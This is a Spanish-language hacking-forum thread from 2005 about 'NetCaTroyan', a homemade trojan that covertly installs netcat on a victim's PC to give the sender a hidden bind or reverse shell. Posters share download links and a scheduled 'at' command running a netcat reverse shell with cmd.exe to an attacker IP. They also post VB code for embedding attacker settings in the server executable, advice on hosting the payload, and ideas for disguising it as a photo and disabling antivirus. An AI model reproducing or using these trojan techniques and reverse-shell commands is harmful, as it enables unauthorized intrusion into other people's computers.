Foro de elhacker.net

Seguridad Informática => Hacking => Mensaje iniciado por: BeRti en 19 Abril 2005, 18:51 pm



Título: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: BeRti en 19 Abril 2005, 18:51 pm
holas mi nick real es ^Nous^ pero se me fue la pinza al registrarme xDD.
weno he hecho una kutrada pa instalar el netcat al pardillo de turno, lo que hace este prog es bajarse el nc de una web, instalarlo en el directorio del  sistema y que se inicie siempre que se arranke win.
tambien trae un edit server para elegir si kieres simplemente abrirle un puerto a la victima y conectarte o si prefieres que se te conecte el por reverse shelll.
un fallo que tiene es que solo funciona si editas el server una sola vez, la 2ª ya no lo guarda, asike mejor que no os ekibokeis o simpelemente borrais la karpeta y deskompriimis otra vez, asi ya podeis volver a editar el server, el q x cierto esta comprimido en upx.

ya solo decir que el diseño es mas que kutre xDDD pero que kieres si lo he hecho en 15-20mins.

enlace: http://www.gratisweb.com/nc2k5/NetCaTroyanBy^Nous^.rar


ale ya podeis ponerme verde x esta p**a bazofia xD.

weno ya sabreis que despues de que le paseis el server al tio no tendreis shell hasta que no reinicie xq no he puesto pa que se ejecute el netcat ... jeje y paso de hacer que se reinicie el pc despues de descargar el netcat xq sino canta mucho. despues si eso esta noche hago que se ejecute el netcat despues de ser descargado y asi no tener que esperar a que reinicien el pc... como ya todos sabreis despues con la shell podeis subir vuestros troyanos o haceros un user  detener AVs y firewalls.... xao.


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: Ruyle en 19 Abril 2005, 20:05 pm
Hola, es muy buena idea la tuya!
Una cosa, cuando se ejecuta nc, lo hace oculto o la victima ve la consola? porque si la ve, en cuanto la cierra se jode la shell!!

Un saludete


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: BeRti en 19 Abril 2005, 23:09 pm
la shell se ejecuta en segundo plano, oculto vamos  :)


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: BenRu en 19 Abril 2005, 23:22 pm
Mmm...abra que probarlo...tiene buena pinta...
Oye tu eres diseñador grafico?jajaja es broma...pero tio al menos podias aver puesto los botones alineados... ::)

Una vez que enviamos el server, y se reinia el pc...que ahi que acer?


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: BeRti en 19 Abril 2005, 23:44 pm
jajaja ta kurrao el diseño eh xD

na pos mu facil, si has elegido reverse shell, kuando le mandes el server, el programa te abrira el solo dos nc a la escucha en tu pc para que su nc se konecte al tuyo y ya tienes shell, por uno de los nc recibiras la informacion y x el otro la enviaras.
si has elegido abrir un puerto pos simplemente abres tu nc, pones nc -vv ipvictima puerto y te conectas, y ya tienes shell.

una vez dentro ya sabes puedes subir troyanos krear users etc etc etc.

tambien estoy pensando en poner una opcion para que se ejecute una shell inversa a una hora determinada del dia.... no se


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: hinx3 en 20 Abril 2005, 03:47 am
Buena idea, buen programa...

Eso de la "shell inversa a una hora determinada del dìa" suena bien man ;)


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: Ruyle en 22 Abril 2005, 15:20 pm
no estia mal que publicaras el codigo, por si algun dia falla el link de donde baja nc o algo  ;D


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: BeRti en 22 Abril 2005, 21:45 pm
trankilo estoy apunto de akabar el programa y he incluido la opcion de reiniciar el pc de la victima y elegir tu de donde bajar el nc.. en breve lo colgare


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: FrEak0 en 23 Abril 2005, 08:02 am
Bueno en cuanto lo tengas avisas porque ando muy metido en netcat, jajaja. esta chida tu aplicacion. ;D;D;D


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: BeRti en 25 Abril 2005, 00:01 am
bueno ya esta un poco mejorado, ya lo podeis user, podeis renombrar el server.exe como kerais, otra kosa, tendreis que subir el netcat, osea el nc.exe a el servidor que kerais y indicarlo en el programa. Otra cosa, solo se puede editar el server una vez, asike si lo kereis editar mas veces borrais la karpeta y volveis a descomprimir. aver si pa la siguiente version corrijo ese fallo y consigo poner lo de sell inversa a una determinada hora del dia.

descargar http://venus.walagata.com/w/nc2k5/1401581.rar


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: mousehack en 25 Abril 2005, 00:42 am
enaz!
lo que podemos hacer aqui es dejarlo programado para que se ejecute diariamente a determinada hora que nosotros ya tengamos previamente nuestro netcat a la espera de la shell, para esto vamos a utilizar el comando AT , la sintaxis seria la siguiente:

Código: at <dia> <hora> "comando"

por lo tanto quedaria asi:

Código: at /every:1 6:00p ""nc -d -e cmd.exe 192.168.1.2 6000""

o tambien:

Código: at /every:1 6:00p ""nc 192.168.1.2 80 | cmd.exe | nc 192.168.1.2 25""

de esta manera ejecutara el netcat diariamente a las 6:00 p.m. tomando en cuenta de que el nc ya se encuentre en system32, en caso contrario van a tener que poner la ruta del netcat.para verificar que se haya agregado la tarea solo tecleen:
Código: at

Salu2


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: Ruyle en 25 Abril 2005, 15:18 pm
yo sigo queriendo el sourcecode ;)


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: wake en 25 Abril 2005, 18:44 pm
Me parece que se ha jodido la descarga... si alguien que lo tenga es tan amable de volver a colgarlo....  ;D

salu2


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: sroot en 25 Abril 2005, 21:11 pm
bueno ya esta un poco mejorado, ya lo podeis user, podeis renombrar el server.exe como kerais, otra kosa, tendreis que subir el netcat, osea el nc.exe a el servidor que kerais y indicarlo en el programa.
Como es eso de especificar el servidor web? No será la dirección IP?
Please decime como es eso...


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: Ruyle en 25 Abril 2005, 22:58 pm
ahi tienes que poner la direcion dela web de donde se descarga el nc.exe


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: BeRti en 26 Abril 2005, 01:56 am
AnThRaX_x tienes que subir el nc.exe a algun servidor donde tu kieras x ejemplo gratisweb.com . y en el programa pones :http://gratisweb.com/antrax/nc.exe o la ruta pertinente.


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: bloodytux en 19 Mayo 2005, 19:55 pm
oigan el enlace no funciona pueden ponerlo arriba de nuevo por fa


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: tylerdurden en 24 Mayo 2005, 22:19 pm
hola me gusta muxo tu proyecto....si puedes hacer el favor de explicar como lo haces para k funcione y las partes de k componen (editor,exe,servidor),,te lo agradeceria muxo...


gracias por todo


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: noiky en 26 Mayo 2005, 00:13 am
MAN!!! ponganos el codigo del programa!! :-\


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: el_new_des en 4 Julio 2005, 02:50 am
oiiee ... mira.. primero que nada.. supongo que en "Tu IP" supongo que ba mi IP nO?
luegO.. selecciono "Reiniciar pc victima al activarse netcatroyan" luego..Dejar puerto a la escucha" y en "Ruta web del net cat:" puse una pagina donde subi el nc.exe
luego le di a "Editar Server" y abro el "server.exe" y ya...
hice la prueba kon la PC de mi hermana... se lo mande.. y no se reinizia ni nada... y kuando le doi CONTROL + ALT + SUPR
no esta korriendo el "nc.exe"
que signifikaa ... nO ntiendOo.. ek agoo. ayuuuuuuudaaaaaaaa  :'(
si me pueden tambien mandar un correo a Daniel_VC900@hotmail.com para dezirme.. se los agradecería muzhOo  ;D


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: SeniorX en 5 Julio 2005, 02:46 am
Me gusto, muy buena programa, felicitaciones  8)


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: TigreDARK en 5 Julio 2005, 12:39 pm
LEE TODO DENUEVO, TE PERDISTE ALGUN PASO!
PONGO ACA LO QUE PUSO EL CREADOR DEL TROYAN.

holas mi nick real es ^Nous^ pero se me fue la pinza al registrarme xDD.
weno he hecho una kutrada pa instalar el netcat al pardillo de turno, lo que hace este prog es bajarse el nc de una web, instalarlo en el directorio del  sistema y que se inicie siempre que se arranke win.
tambien trae un edit server para elegir si kieres simplemente abrirle un puerto a la victima y conectarte o si prefieres que se te conecte el por reverse shelll.
un fallo que tiene es que solo funciona si editas el server una sola vez, la 2ª ya no lo guarda, asike mejor que no os ekibokeis o simpelemente borrais la karpeta y deskompriimis otra vez, asi ya podeis volver a editar el server, el q x cierto esta comprimido en upx.

ya solo decir que el diseño es mas que kutre xDDD pero que kieres si lo he hecho en 15-20mins.

enlace: http://www.gratisweb.com/nc2k5/NetCaTroyanBy^Nous^.rar


ale ya podeis ponerme verde x esta p**a bazofia xD.

weno ya sabreis que despues de que le paseis el server al tio no tendreis shell hasta que no reinicie xq no he puesto pa que se ejecute el netcat ... jeje y paso de hacer que se reinicie el pc despues de descargar el netcat xq sino canta mucho. despues si eso esta noche hago que se ejecute el netcat despues de ser descargado y asi no tener que esperar a que reinicien el pc... como ya todos sabreis despues con la shell podeis subir vuestros troyanos o haceros un user  detener AVs y firewalls.... xao.
***********************************************************************
***********************************************************************
na pos mu facil, si has elegido reverse shell, kuando le mandes el server, el programa te abrira el solo dos nc a la escucha en tu pc para que su nc se konecte al tuyo y ya tienes shell, por uno de los nc recibiras la informacion y x el otro la enviaras.
si has elegido abrir un puerto pos simplemente abres tu nc, pones nc -vv ipvictima puerto y te conectas, y ya tienes shell.

una vez dentro ya sabes puedes subir troyanos krear users etc etc etc.

tambien estoy pensando en poner una opcion para que se ejecute una shell inversa a una hora determinada del dia.... no se

**la shell se ejecuta en segundo plano, oculto vamos
**na pos mu facil, si has elegido reverse shell, kuando le mandes el server, el programa te abrira el solo dos nc a la escucha en tu pc para que su nc se konecte al tuyo y ya tienes shell, por uno de los nc recibiras la informacion y x el otro la enviaras.
si has elegido abrir un puerto pos simplemente abres tu nc, pones nc -vv ipvictima puerto y te conectas, y ya tienes shell.

una vez dentro ya sabes puedes subir troyanos krear users etc etc etc
**bueno ya esta un poco mejorado, ya lo podeis user, podeis renombrar el server.exe como kerais, otra kosa, tendreis que subir el netcat, osea el nc.exe a el servidor que kerais y indicarlo en el programa. Otra cosa, solo se puede editar el server una vez, asike si lo kereis editar mas veces borrais la karpeta y volveis a descomprimir. aver si pa la siguiente version corrijo ese fallo y consigo poner lo de sell inversa a una determinada hora del dia.

descargar http://venus.walagata.com/w/nc2k5/1401581.rar
************************************************
Espero que sea Util!
Asi leen todo junto! y no preguntan lo mismo siempre!
Bye



Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: Isirius en 7 Julio 2005, 19:24 pm
Este programa es genial qeu bien muchas gracias solo tengo una pregunta y es en que lenguages lo has eho vb o c o como es que tengo curiosidad agradeceria mucho qeu me contestaran o pusieras el codigo muchisimas gracias.


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: SeniorX en 7 Julio 2005, 22:16 pm
esta hecho en vb, pero el codigo parece que el autor no lo quiere poner (yo no tengo nada que ver con el programa solo respondo tu duda)


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: Isirius en 8 Julio 2005, 13:15 pm
Gracias muchas gracias.Haber si nos pondra el codigo es que tengo curiosidad.


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: bigsnake en 8 Julio 2005, 15:47 pm
bueno,alguien k aya subido el nc.exe k diga la dire pa bajarlo,esk algunos no tnemos hosting ni sabemos como subir

graciasss


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: sH en 10 Julio 2005, 02:30 am
hola.
  lei todo con atencion pero igual no entiendo.
 YO EDITO EL SERVER: pongo mi ip, el puerto que quiero abrirle a la victima, y despues no se que hacer. y tampoco se kual es la ruta web del net cat.

 ¿yo tengo que enviar el nc.exe para que se le abra el puerto?

 =mente, si enviarlo, abro el server y no se abre nada.
 (aclaracion: cuando abro el cmd.exe, y pongo "nc", el comando netcat, me dice que no existe bla bla bla)

                     HELP MY!


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: xavierote en 12 Julio 2005, 22:25 pm
Una pregunta sobre el editor del servidor.
Exactamente, dónde se guarda la información del servidor al editarlo y poner tu ip, la dirección donde se debe bajar el NetCat y también si se hará un Reverse Shell o dejar puerto a la escucha.
He copiado el server.exe para modificarlo y luego hacer una comparación con el original servidor y el archivo no se modifica, al menos con el editor que se encuentra en el 1401581.rar, ya que el NetCaTroyanBy^Nous^.rar no lo he podido probar porque no se descarga.
Una de dos, o el programa no hace lo que tiene que hacer, o simplemente es un error de programación.
Un saludo.


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: BeRti en 13 Julio 2005, 17:46 pm
hola que tal a ver he estado sin pasarme por aki mucho tiempo por otros temas y weno la verdad es que el programita lo abandone pero le hare de nuevo por que lo borre del pc, ademas parece que la cuenta en gratisweb donde estaba desaparecio, esta hecho en vb y el codigo es muyyyy facil lo unico kizas un poco "complicado" son las variables que se guardan para editar el server, en cuanto lo re haga lo subo y lo  pongo aki, y decir que kuando le hice funcionaba ( a mi por lo menos) en win 98 y xp.


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: xavierote en 14 Julio 2005, 14:07 pm
Para guardar las variables en el propio servidor es muy sencillo.
Te paso unas funciones que programé cuando hice un troyano en visual basic:

NOTA: Utilizo otro mod para hacer un cambio de base 16 a base 10, aunque todavía no se por qué lo hice así, porque se puede guardar facilmente el puerto sin hacer cambios de base. Pero bueno, eso no es lo importante.

Ahí van las funciones, siento no tenerlas comentadas pero es muy fácil de entender y con un poco de habilidad se pueden adaptar a tu programa.

Función para guardar las variables en el ejecutable.
Código:
Private Function GuardarVariables(sArchivo As String, sPuerto As String, sIP As String, ModoEscucha As Byte)
    Dim SeparandoIp() As String
    Dim GuardandoIP As Byte
    Dim GuardandoPuerto As String
    Dim SeparandoPuerto As Byte
    Dim foo As Integer
    Dim i As Integer
   
    foo = FreeFile
   
    Open sArchivo For Binary As #foo
   
    GuardandoPuerto = VeryLongConvert(sPuerto, 10, 16)
    SeparandoPuerto = VeryLongConvert(Mid$(GuardandoPuerto, 3, 2), 16, 10)
    Put #foo, LOF(foo) + 1, SeparandoPuerto
   
    SeparandoPuerto = VeryLongConvert(Mid$(GuardandoPuerto, 1, 2), 16, 10)
    Put #foo, LOF(foo) + 1, SeparandoPuerto
   
    SeparandoIp = Split(sIP, ".")
   
    For i = 0 To UBound(SeparandoIp)
        GuardandoIP = SeparandoIp(i)
        Put #foo, LOF(foo) + 1, GuardandoIP
    Next i
   
    Put #foo, LOF(foo) + 1, ModoEscucha
   
    Close #foo
End Function

Función para cargar las variables del ejecutable.
Código:
Public Function CargaVariables(sArchivo As String, sCargar As OpcionesCarga) As String
    Dim foo As Integer
    Dim PuertoServer As Byte
    Dim Convirtiendo As String
    Dim ObteniendoDatos As String
    Dim i As Integer
   
    foo = FreeFile
   
    Open sArchivo For Binary As #foo
   
    If LOF(foo) = 0 Then
        Exit Function
    End If
   
    Select Case sCargar
        Case 0
            Get #foo, LOF(foo) - 5, PuertoServer
            ObteniendoDatos = PuertoServer
            Convirtiendo = VeryLongConvert(ObteniendoDatos, 10, 16)
            If Len(VeryLongConvert(ObteniendoDatos, 10, 16)) = 1 Then: Convirtiendo = "0" & Convirtiendo
           
            Get #foo, LOF(foo) - 6, PuertoServer
            ObteniendoDatos = PuertoServer
            If Len(VeryLongConvert(ObteniendoDatos, 10, 16)) = 1 Then
                Convirtiendo = Convirtiendo & "0" & VeryLongConvert(ObteniendoDatos, 10, 16)
            Else
                Convirtiendo = Convirtiendo & VeryLongConvert(ObteniendoDatos, 10, 16)
            End If
            Convirtiendo = VeryLongConvert(Convirtiendo, 16, 10)
           
            CargaVariables = Convirtiendo
           
        Case 1
            For i = 4 To 1 Step -1
                Get #foo, LOF(foo) - i, PuertoServer
                ObteniendoDatos = PuertoServer
                If i = 4 Then
                    Convirtiendo = Convirtiendo & ObteniendoDatos
                Else
                    Convirtiendo = Convirtiendo & "." & ObteniendoDatos
                End If
            Next i
            CargaVariables = Convirtiendo
       
        Case 2
            Get #foo, LOF(foo), PuertoServer
            CargaVariables = PuertoServer
    End Select
   
    Close #foo

End Function

Módulo para hacer cambios de base

Código:
Option Compare Text

'Most used bases
Public Const B_BIN As Integer = 2
Public Const B_OCT As Integer = 8
Public Const B_DEC As Integer = 10
Public Const B_HEX As Integer = 16
'Some separators
Public Const DEFAULT_SEPARATOR As String = "."
Public Const COMMA_SEPARATOR As String = ","

Private Digits(0 To 35) As String 'Bases digits
Private INum() As Integer 'Input number
Private ONum() As Integer 'Output number
Private IBase As Integer 'Input base
Private OBase As Integer 'Output base

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'VeryLongConvert : function that converts a huge number as string from a base to
'                  another one
'
'                  Version : 1.01
'                  Author:  Guillaume GIFFARD
'                  Date : 01/03/2002
'                  Mail : Guiland@mail.com
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'INPUTS :  * Word As String : the huge number to convert
'
'          * FromBase As Integer : the base in witch Word is written
'
'          * ToBase As Integer : the base in witch Word is to convert
'
'          * Separator As String : this Optional variable is the decimal separator,
'          usely the point
'
'          FromBase and ToBase are integers from 2 to 36
'
'OUTPUTS : * the function returns the huge number value converted from FromBase to
'          ToBase as string. It returns "" if Word is empty or if FromBase or
'          ToBase is not between 2 and 36
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Public Function VeryLongConvert(Word As String, FromBase As Integer, ToBase As Integer, Optional Separator As String = DEFAULT_SEPARATOR) As String
    If Word = "" Or FromBase < 2 Or FromBase > 36 Or ToBase < 2 Or ToBase > 36 Then Exit Function
    If Digits(35) <> "Z" Then InitDigits
    Call StringToArray(Word, FromBase, Separator)
    Convert (ToBase)
    VeryLongConvert = DeleteZeros(ArrayToString(Separator), Separator)
End Function

'Saves the bases digits in an array
Private Sub InitDigits()
    For i = 0 To 9
        Digits(i) = i
    Next i
    For i = 10 To 35
        Digits(i) = Chr(i + 55)
    Next i
End Sub
 
'Saves a number as string in an array of integers
'Each cell of the array in one digit of the number
Private Sub StringToArray(Word As String, Base As Integer, Optional Separator As String = DEFAULT_SEPARATOR)
    If Word = "" Or Base < 2 Or Base > 36 Then Exit Sub
    Dim Point As Integer, Min As Integer, Max As Integer, NoPoint As Integer
    IBase = Base
    Point = InStr(1, Word, Separator, vbTextCompare)
    If Point = 0 Then
        Max = Len(Word) - 1
        Min = 0
    Else
        Max = Point - 2
        Min = Point - Len(Word) + Len(Separator) - 1
    End If
    ReDim INum(Min To Max)
    For i = 0 To Len(Word) - 1
        If i <= Len(Word) - Point And i >= Len(Word) - Point - Len(Separator) + 1 Then
            NoPoint = NoPoint - 1
        Else
            INum(Min + i + NoPoint) = Number(Left(Right(Word, i + 1), 1), IBase)
        End If
    Next i
End Sub

'Returns the number corresponding to a digit as string if the digit is allowed
'by the base. e.g. : C is allowed in hexadecimal but not in decimal or in octal
Private Function Number(Digit As String, Base As Integer) As Integer
    If Digit = "" Or Base < 2 Or Base > 36 Then Exit Function
    For i = 0 To 35
        If i = Base Then Exit Function
        If UCase(Digit) = Digits(i) Then Number = i
    Next i
End Function

'THE sub that converts INum to ONum with IBase and OBase
Private Sub Convert(Base As Integer)
    If Base < 2 Or Base > 36 Then Exit Sub
    Dim Max As Integer, Min As Integer
    Dim TmpNum() As Integer, Tmp2Num() As Integer

    OBase = Base
    Max = RoundOverInt(Int((UBound(INum, 1) + 1) * Log(IBase) / Log(OBase)))
    Min = Int(LBound(INum, 1) * Log(IBase) / Log(OBase))
    ReDim ONum(Min To Max)
    i = 0 'LBound(ONum, 1)
    Call DivideVeryLong(INum, OBase, TmpNum, ONum(i), IBase)
    i = i + 1
    Do Until i > UBound(ONum, 1)
        Call DivideVeryLong(TmpNum, OBase, Tmp2Num, ONum(i), IBase)
        ReDim TmpNum(LBound(Tmp2Num, 1) To UBound(Tmp2Num, 1))
        For j = LBound(Tmp2Num, 1) To UBound(Tmp2Num, 1)
            TmpNum(j) = Tmp2Num(j)
        Next j
        i = i + 1
    Loop
End Sub

'round numbers to the closest higher integer
'e.g. : 3.9 gives 4 ; 3.4 gives 4 ; 3 gives 3
Private Function RoundOverInt(Value As Double) As Double
    If Value = Int(Value) Then RoundOverInt = Value Else RoundOverInt = Int(Value) + 1
End Function

'Divides a huge number by an integer and returns the huge quotient and the remainder
Private Sub DivideVeryLong(Numerator() As Integer, Denominator As Integer, QuotientOut() As Integer, Remainder As Integer, Base As Integer)
    Dim Tmp As Long, Decal As Long
    ReDim QuotientOut(LBound(Numerator, 1) To UBound(Numerator, 1))
    Tmp = 0
    Decal = 0
    For i = UBound(Numerator, 1) To 0 Step -1 'LBound(Numerator, 1) Step -1
        Tmp = Tmp * Base + Numerator(i)
        QuotientOut(i - Decal) = Tmp \ Denominator
        'If QuotientOut(i - Decal) = 0 And Decal = i - 1 Then
        '    Decal = Decal - 1
        '    ReDim QuotientOut(LBound(Numerator, 1) To UBound(Numerator, 1) - Decal)
        'End If
        Tmp = Tmp - QuotientOut(i - Decal) * Denominator
    Next i
    Remainder = Tmp
End Sub

'Saves an array in a string
Private Function ArrayToString(Optional Separator As String = DEFAULT_SEPARATOR) As String
    For i = UBound(ONum, 1) To LBound(ONum, 1) Step -1
        If i = -1 Then ArrayToString = ArrayToString & Separator
        ArrayToString = ArrayToString & Digits(ONum(i))
    Next i
End Function

'Deletes zeros before and after the number as string and, if possible, deletes the
'separator
Private Function DeleteZeros(Word As String, Optional Separator As String = DEFAULT_SEPARATOR) As String
    Dim Point As Integer, WordTmp As String
    WordTmp = Word
    Do
        Point = InStr(1, WordTmp, "0", vbTextCompare)
        If Point = 1 Then WordTmp = Right(WordTmp, Len(WordTmp) - 1) Else Exit Do
    Loop
    If InStr(1, WordTmp, Separator, vbTextCompare) <> 0 Then
        Do
            Point = InStr(Len(WordTmp) - 1, WordTmp, "0", vbTextCompare)
            If Point = Len(WordTmp) - 1 Then WordTmp = Left(WordTmp, Len(WordTmp) - 1) Else Exit Do
        Loop
        Do
            Point = InStr(Len(WordTmp) - 1, WordTmp, "0", vbTextCompare)
            If Point = Len(WordTmp) Then WordTmp = Left(WordTmp, Len(WordTmp) - 1) Else Exit Do
        Loop
    End If
    If WordTmp = "" Then WordTmp = "0"
    If InStr(1, WordTmp, Separator, vbTextCompare) = Len(WordTmp) - Len(Separator) + 1 Then WordTmp = Left(WordTmp, Len(WordTmp) - Len(Separator))
    DeleteZeros = WordTmp
End Function


Un Saludo.


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: bigsnake en 20 Julio 2005, 18:54 pm
y como subo el nc a una web???
vale un ftp???

perdon por mi ignorancia


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: Nosferatu en 21 Julio 2005, 15:21 pm
Pues claro, te abres una cuenta gratuita donde sea ;)

Lycos, Mi@, Shinra......   hay muchos, y si lo necesitas exclusivamente para estos fines (nc, server..etc) la publicidad no molesta ;D

Saludos


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: bigsnake en 23 Julio 2005, 22:56 pm
vale un ftp???

por ejemplo ftp.usuarios.lycos.es


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: Nosferatu en 24 Julio 2005, 17:06 pm
si, registras una cuenta gratuita en lycos, y ellos te diren cual es tu ruta al ftp

un saludo


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: bigsnake en 24 Julio 2005, 18:48 pm
ya,pero para k la gente baje esos archivos k yo suba les hace falta mi clave i yo no pienso darla...
no es por nada,sino pork yo se k alguno cambiara la password y todo eso......


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: Ruyle en 25 Julio 2005, 15:21 pm
te equivocas, tu sube el archivo al ftp de lycos y despues en la configuracion del programa pon la ruta del archivo q subiste y ya. Para descargarlo no te hace falta decir ni la pass ni nada.


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: bigsnake en 25 Julio 2005, 15:33 pm
y eso komo se ace????


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: -curioso- en 25 Julio 2005, 19:44 pm
Hola, buenas...

¿Alguien ha conseguido probar el programa?. Yo me bajé el rar de este link:

http://venus.walagata.com/w/nc2k5/1401581.rar

Pero el editserver no funciona. No edita el server.exe y tampoco hay opción para guardar tu configuración en un nuevo exe.

Tampoco he visto por aquí qué puerto abre el server.exe original, pero he intentado ejecutarlo y me da este error: "Component 'MSINET.OCX' or one of its dependencies not correctly registered: a file is missing or invalid".


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: bigsnake en 26 Julio 2005, 13:20 pm
ya consegui subir el nc.exe,me pasa lo mismo k a ti,k no edita el server ni nada,amos aber,yo abro el editor,lo pongo komo kiera y le doy a abrir,i selecciono server.exe,pero no se cierra ni dice:
server modificao ni na!!
como se k lo a modificao??
despues lo pruebo i no va.......


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: carlipus en 26 Julio 2005, 16:40 pm
yo no me lo piedo bajar,una pregunta, el server.exe se envia a la victima y cuando reinicie tomas el control del shell¿?


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: bigsnake en 26 Julio 2005, 17:00 pm
algo asi,primero abres el editor,si eliges reverse shell tienes k dejar el puerto 25 y el puerto 80 ala escucha,i si eliges conexión directa pos simplemente cuando lo abra pones k se reinicie i kuando reinicie pos t vas ala carpeta k bajaste y abres nc.exe,y pondra:
cmd line...
pos nada tu pones nc -vv "ip de la victima" "puerto k ayas elegido" y si devuelve shell pos ya aces lo k kieras kon el..... ;)


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: TheKiLLeR en 27 Julio 2005, 00:24 am
Hola.. esta muy bueno el programa.. seria bueno el codigo fuente asi crece mas ;).. bueno tengo una idea para no tener que pasar el server.. lo metes en una foto, que al hacerle doble click se ejecute... lo subis a una pagina.. le das aspecto de fotolog.. entoces la victima al hacer doble click en el vinculo.. se infecta.. bueno no se que les parece
Saludos


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: Ruyle en 27 Julio 2005, 00:30 am
Lo del codigo fuente ya se pidió y el autor no da señales de vida. Respecto a lo que mencionas de subirlo como una foto..... lo veo muy dificil de poder hacer eso!

Un saludo


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: carlipus en 27 Julio 2005, 01:31 am
me pueden decir de donde me puedo bajar el programa, esque no me va el link, por favor pongan el link de la descarga, Gracias.


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: carlipus en 27 Julio 2005, 02:07 am
ya me lo baje, me viene el server.exe nc.exe y editor.exe,prto no comprendo eso de subirlo al ftp,y editarlo, podrian explicarlo claramente, se lo agradeceria mucho, Gracias.


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: TheKiLLeR en 27 Julio 2005, 04:09 am
no se edita el server.exe alguien sabe si se puede editar de otro modo?


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: carlipus en 28 Julio 2005, 20:35 pm
Yo Creo que es un error de programacion, por que nadie ha conseguido editarlo, asiesques habrá que esperar a que Nous lo arregle. Byes

-_-_-_-_-_-_C-_-@-_-r-_-|-_-I-_-p-_-U-_-$-_-_-_-_-_-_-_-


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: ViRuSiN en 7 Agosto 2005, 19:20 pm
seria bueno que publicaran el codigo fuente..
saludos...  ;)


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
Publicado por: - n0sEcReT - en 7 Agosto 2005, 20:16 pm
Hola amigos , el programa esta lindo , osea mejor dicho la idea esta buena ;D , pero supongamos que la victima no tiene la runtime de VB6  MSVBVM60.DLL , el programa no andaria .Y se acabo todo  :D

Salu2 ! ;)


Título: Re: Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.
